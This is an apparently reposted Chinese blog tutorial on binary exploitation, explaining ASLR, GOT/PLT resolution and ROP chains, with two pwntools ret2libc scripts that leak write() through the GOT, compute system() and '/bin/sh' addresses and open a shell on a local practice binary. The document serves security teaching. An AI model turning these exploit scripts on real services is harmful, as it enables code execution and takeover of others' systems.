pwn 随笔(中)

admin 2024年11月14日22:49:05评论12 views字数 3617阅读12分3秒阅读模式
pwn 随笔(中)

pwn 随笔(中)

pwn 随笔(中)
pwn 随笔(中)

前言

pwn 随笔(中)

本篇继前面的pwn随笔(上),主要针对rop链的构造展示研究。

pwn 随笔(中)

安全热点

pwn 随笔(中)

近日,全国首例全链条打击“非法获取公民车辆位置信息”案,在南京市鼓楼区人民法院公开开庭审理并当庭宣判。法院认为,停车信息及车辆行踪轨迹,反映特定自然人的生活、工作等活动情况,属于公民个人信息,应受法律保护。

pwn 随笔(中)

pwn 随笔(中)

关于pwn随笔(上)题目的更通用解法

pwn 随笔(中)

当存在ASLR 时,我们会发现libc.so的地址每次都会不一样。

pwn 随笔(中)

通用的解题思路是:先泄露出libc.so某些函数在内存中的地址,然后再利用泄露的函数地址计算出system()函数和/bin/sh字符串在内存中的地址。最后再构造我们的payload

这里需要解释如下几个问题:

1、既然地址是随机的,那么为什么需要泄露libc.so某些函数在内存中的地址?

笔者是这样认为的,一个程序或多或少都会包含类似printf()、read()这种函数,在编译链接的过程中,就需要加载动态链接库。虽然目前地址随机化,但是动态链接库在内存中的位置是固定的。换一句话说,如果拿到了某些函数在内存中的地址,就可以解决地址随机的问题。

2、如何泄露libc.so某些函数在内存中的地址?

这里涉及到plt和got表,也是相对关键的对方,后面会对plt、got做较为详细的解释。总之记住,程序运行某些函数时,如write(),其实就是调用write@plt()。而真正的write()函数地址被记录在got表的write.got上面。程序通过write@plt()根据write.got跳转到真正的write地址上面。

3、如何利用泄露函数地址计算出system()函数和/bin/sh字符串在内存中的地址?

直接泄露system()函数和/bin/sh字符串在内存中的地址,在某些情况下,是不现实的。假设泄露函数是write(),那么system()和write()不管是在程序中,还是在lib.so中,相对地址是不变的。因此当我们得到write()地址和目标libc.so的地址后,就可以计算得到system()的地址。

4、再构造payload,是否意味着需要两个payload?

第一个payload,是为了确认泄露地址、system()地址和/bin/sh地址;第二个payload,是为了成功实施攻击。这里也被称为ret2libc。

基于上面的思路,提供的poc脚本(这也是一种rop构造,为后文做引子)如下:

#!/usr/bin/env pythonfrom pwn import *p = process('./level1')libc = ELF('libc.so')elf = ELF('level1')#p = remote('127.0.0.1',10001)plt_write = elf.symbols['write']got_write = elf.got['write']ret = 0x804842fpayload1 = 'A' * 112  +p32(plt_write)+p32(ret)+p32(1)+p32(got_write)+p32(4)p.send(payload1)write_addr = u32(p.recv(4))system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])binsh_addr = write_addr - (libc.symbols['write']-next(libc.search('/bin/sh')))payload2 = 'a'*112+p32(system_addr)+p32(ret)+p32(binsh_addr)p.send(payload2)p.interactive()
运行成功,示意图:

pwn 随笔(中)

pwn 随笔(中)

GOT表和PLT表的简要分析

pwn 随笔(中)

编译程序的过程,需要经历预处理、编译、汇编、链接四个阶段,最后才生成可执行程序。但是当加载一个可执行文件时,系统并不是直接将所有的相关资源都加载到内存中,而是先建立一个映射关系。当程序运行时,系统会根据这个映射关系按需加载。假设某一个函数被调用,那么就把这个函数的相关数据加载到内存;反之,如果没有调用,那么这个函数就不会被加载到内存中。这个函数调用和加载的过程,导致了GOT和PLT的产生。

GOT表:全局偏移表。这是「链接器」为「外部符号」填充的实际偏移表。

PLT表:程序链接表。它有两个功能,要么在 .got.plt 节中拿到地址,并跳转。要么当 .got.plt 没有所需地址的时,触发「链接器」去找到所需地址。

关于GOT和PLT,这里放一张笔者过去的一张图:

pwn 随笔(中)

pwn 随笔(中)

下面针对图1和图2进行详细阐述:

1、第一次调用某一个函数的时候,通过plt表去访问got表,此时目标地址为空;然后got表通过_dl_runtime_resolve解析到函数地址,并将其真实地址保存在got表中,之后就可以直接调用该函数了。

2、当第二次包括之后去调用某一个函数时,通过plt可以直接访问到got表的目标地址,然后运行该函数。

pwn 随笔(中)

ROP链的构造

pwn 随笔(中)

ROP,(Return-Oriented programming,返回导向编程),一种高级内存攻击技术,其核心思想是利用以ret结尾的指令序列把栈中应该返回EIP的地址更改为攻击者需要的值,从而控制程序的执行流程,常见的有ret2shellcode、ret2text、ret2syscall、ret2libc等。

构造ROP攻击,需要的一般条件:

1、程序存在溢出点,并且可以控制返回地址。

2、可以找到满足条件的gadgets以及gadgets的地址。

参考资料:基本ROP讲解 - 知乎 (zhihu.com)

pwn 随笔(中)

实验2:ROP链构造

pwn 随笔(中)

实验目的:构造ROP链,通过ROP绕过DEP和ASLR.

1、使用编译命令,将之前的level1编译生成为level2。

pwn 随笔(中)

 2、寻找ROP

这里部分数据可以延用实验1的结果,直接去寻找合适的ROP。

使用ROPgadgets,在二进制中搜索关键字“pop ret”。

指令如下:

ROPgadget --binary level2 --only "pop|ret"

pwn 随笔(中)

此外,也可以搜索“/bin/sh”。

pwn 随笔(中)

在level2中没有搜索到,可以考虑去库里面搜索。下面的libc.so是笔者将动态库文件复制过来后的重命名。

pwn 随笔(中)

3、构建POC思路:(这里存在刻意使用rop的想法)

首先通过泄露write函数地址,得到system_addr的地址;然后基于system_addr计算bin/sh在文件中的地址;最后使用文件中的pop_ret地址,构建payload。

(读者,这里需要区分文件地址和动态库中的地址)。

构建的脚本如下:

#!/usr/bin/env pythonfrom pwn import *p = process('./level1')libc = ELF('libc.so')elf = ELF('level1')#p = remote('127.0.0.1',10001)plt_write = elf.symbols['write']got_write = elf.got['write']ret = 0x804842fpayload1 = 'A' * 112  +p32(plt_write)+p32(ret)+p32(1)+p32(got_write)+p32(4)p.send(payload1)write_addr = u32(p.recv(4))system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])        #得到文件中system的地址binsh_addr1 = 0x00158e64      #libc中binsh地址binsh_addr2 = next(libc.search("/bin/sh"))binsh_offset = binsh_addr2 - libc.symbols['system']binsh_addr = binsh_offset + system_addrpop_ret = 0x080482c9        #文件中的rop地址payload2 = 'A'*112 + p32(pop_ret) + p32(binsh_addr)  + p32(system_addr)p.send(payload2)p.interactive()

pwn 随笔(中)

pwn 随笔(中)

总结

pwn 随笔(中)

ROP的构造,是当前非常常用的一种攻击手法。细细体会rop链的构造,也可以解决之前ret不准确的问题。ROP最大的艺术就是在于gadgets千变万化的组合ROP的,后面的路还很长,一起加油!

pwn 随笔(中)

参考资料:

pwn 随笔(中)

深入了解GOT,PLT和动态链接 - evilpan

一步一步学ROP之linux_x64篇 - 知乎 (zhihu.com)

(154条消息) pwn学习资料整理——ROP技术_pwn rop_recover517的博客-CSDN博客

原文始发于微信公众号(星耀安全实验室):pwn 随笔(中)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月14日22:49:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   pwn 随笔(中)https://cn-sec.com/archives/1763919.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息